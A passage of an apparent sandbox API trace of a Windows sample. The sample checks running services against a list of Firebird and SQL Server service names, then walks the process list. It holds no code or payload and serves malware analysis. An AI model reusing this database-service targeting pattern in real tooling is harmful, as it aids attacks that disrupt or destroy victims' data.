	[0081.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0081.690] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0081.690] lstrlenW (lpString="SamSs") returned 5
	[0081.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0081.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0081.690] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0081.690] lstrlenW (lpString="Schedule") returned 8
	[0081.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0081.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0081.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0081.690] lstrlenW (lpString="SecurityHealthService") returned 21
	[0081.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0081.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0081.690] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0081.690] lstrlenW (lpString="SENS") returned 4
	[0081.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0081.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0081.690] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0081.690] lstrlenW (lpString="ShellHWDetection") returned 16
	[0081.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0081.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0081.690] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0081.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0081.690] lstrlenW (lpString="Spooler") returned 7
	[0081.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0081.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0081.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0081.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0081.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0081.691] lstrlenW (lpString="SSDPSRV") returned 7
	[0081.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0081.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0081.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0081.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0081.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0081.691] lstrlenW (lpString="StateRepository") returned 15
	[0081.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0081.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0081.691] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0081.691] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0081.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0081.691] lstrlenW (lpString="SysMain") returned 7
	[0081.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0081.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0081.691] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0081.691] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0081.691] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x31936f0 | out: hHeap=0x500000) returned 1
	[0081.691] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x394
	[0081.700] Process32FirstW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0081.700] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0081.701] lstrlenW (lpString="System") returned 6
	[0081.964] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0081.964] lstrlenW (lpString="smss.exe") returned 8
	[0081.964] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0081.965] lstrlenW (lpString="csrss.exe") returned 9
	[0081.965] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0081.965] lstrlenW (lpString="wininit.exe") returned 11
	[0081.965] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0081.966] lstrlenW (lpString="csrss.exe") returned 9
	[0081.966] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0081.966] lstrlenW (lpString="winlogon.exe") returned 12
	[0081.966] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0081.967] lstrlenW (lpString="services.exe") returned 12
	[0081.967] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0081.968] lstrlenW (lpString="lsass.exe") returned 9
	[0081.968] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.969] lstrlenW (lpString="svchost.exe") returned 11
	[0081.969] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0081.969] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0081.969] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0081.970] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0081.970] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.970] lstrlenW (lpString="svchost.exe") returned 11
	[0081.970] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0081.971] lstrlenW (lpString="dwm.exe") returned 7
	[0081.971] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.971] lstrlenW (lpString="svchost.exe") returned 11
	[0081.971] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.972] lstrlenW (lpString="svchost.exe") returned 11
	[0081.972] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.972] lstrlenW (lpString="svchost.exe") returned 11
	[0081.972] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.973] lstrlenW (lpString="svchost.exe") returned 11
	[0081.973] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.973] lstrlenW (lpString="svchost.exe") returned 11
	[0081.974] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x43c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.974] lstrlenW (lpString="svchost.exe") returned 11
	[0081.974] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.975] lstrlenW (lpString="svchost.exe") returned 11
	[0081.975] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.975] lstrlenW (lpString="svchost.exe") returned 11
	[0081.975] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.976] lstrlenW (lpString="svchost.exe") returned 11
	[0081.976] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.976] lstrlenW (lpString="svchost.exe") returned 11
	[0081.976] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0081.977] lstrlenW (lpString="spoolsv.exe") returned 11
	[0081.977] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x694, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.977] lstrlenW (lpString="svchost.exe") returned 11
	[0081.977] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0081.978] lstrlenW (lpString="audiodg.exe") returned 11
	[0081.978] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0081.978] lstrlenW (lpString="sihost.exe") returned 10
	[0081.978] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0081.979] lstrlenW (lpString="svchost.exe") returned 11
	[0081.979] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0081.980] lstrlenW (lpString="taskhostw.exe") returned 13
	[0081.980] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3d, th32ParentProcessID=0x7c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0081.980] lstrlenW (lpString="explorer.exe") returned 12
	[0081.980] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x828, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0081.981] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0081.981] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0081.981] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0081.981] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0081.982] lstrlenW (lpString="Memory Compression") returned 18
	[0081.982] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0081.982] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0081.982] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0081.983] lstrlenW (lpString="SearchUI.exe") returned 12
	[0081.983] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0081.983] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0081.983] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0081.984] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0081.984] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="fur-hold.exe")) returned 1
	[0081.984] lstrlenW (lpString="fur-hold.exe") returned 12
	[0081.984] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="joan packages omissions.exe")) returned 1
	[0081.985] lstrlenW (lpString="joan packages omissions.exe") returned 27
	[0081.985] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="vat.exe")) returned 1
	[0081.986] lstrlenW (lpString="vat.exe") returned 7
	[0081.986] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="catchuploaded.exe")) returned 1
	[0081.986] lstrlenW (lpString="catchuploaded.exe") returned 17
	[0081.986] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="hart-changing-bills.exe")) returned 1
	[0081.987] lstrlenW (lpString="hart-changing-bills.exe") returned 23
	[0081.987] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="paxiltried.exe")) returned 1
	[0081.987] lstrlenW (lpString="paxiltried.exe") returned 14
	[0081.987] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x438, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cornell_contents.exe")) returned 1
	[0081.988] lstrlenW (lpString="cornell_contents.exe") returned 20
	[0081.988] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="avoidingsearchingmunicipal.exe")) returned 1
	[0081.988] lstrlenW (lpString="avoidingsearchingmunicipal.exe") returned 30
	[0081.988] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="mustorgcitizenship.exe")) returned 1
	[0081.989] lstrlenW (lpString="mustorgcitizenship.exe") returned 22
	[0081.989] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="instructional_calibration_cheats.exe")) returned 1
	[0081.989] lstrlenW (lpString="instructional_calibration_cheats.exe") returned 36
	[0081.989] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ride_australian.exe")) returned 1
	[0081.990] lstrlenW (lpString="ride_australian.exe") returned 19
	[0081.990] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd80, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="easily stood currencies.exe")) returned 1
	[0081.991] lstrlenW (lpString="easily stood currencies.exe") returned 27
	[0081.991] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="rc remember.exe")) returned 1
	[0081.991] lstrlenW (lpString="rc remember.exe") returned 15
	[0081.991] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="records replace.exe")) returned 1
	[0081.992] lstrlenW (lpString="records replace.exe") returned 19
	[0081.992] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="isp physiology.exe")) returned 1
	[0081.992] lstrlenW (lpString="isp physiology.exe") returned 18
	[0081.992] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="feb.exe")) returned 1
	[0081.993] lstrlenW (lpString="feb.exe") returned 7
	[0081.993] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="citizenship.exe")) returned 1
	[0081.993] lstrlenW (lpString="citizenship.exe") returned 15
	[0081.993] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="wifi.exe")) returned 1
	[0081.994] lstrlenW (lpString="wifi.exe") returned 8
	[0081.994] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0081.994] lstrlenW (lpString="3dftp.exe") returned 9
	[0081.994] Process32NextW (in: hSnapshot=0x394, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdfc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7d0, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
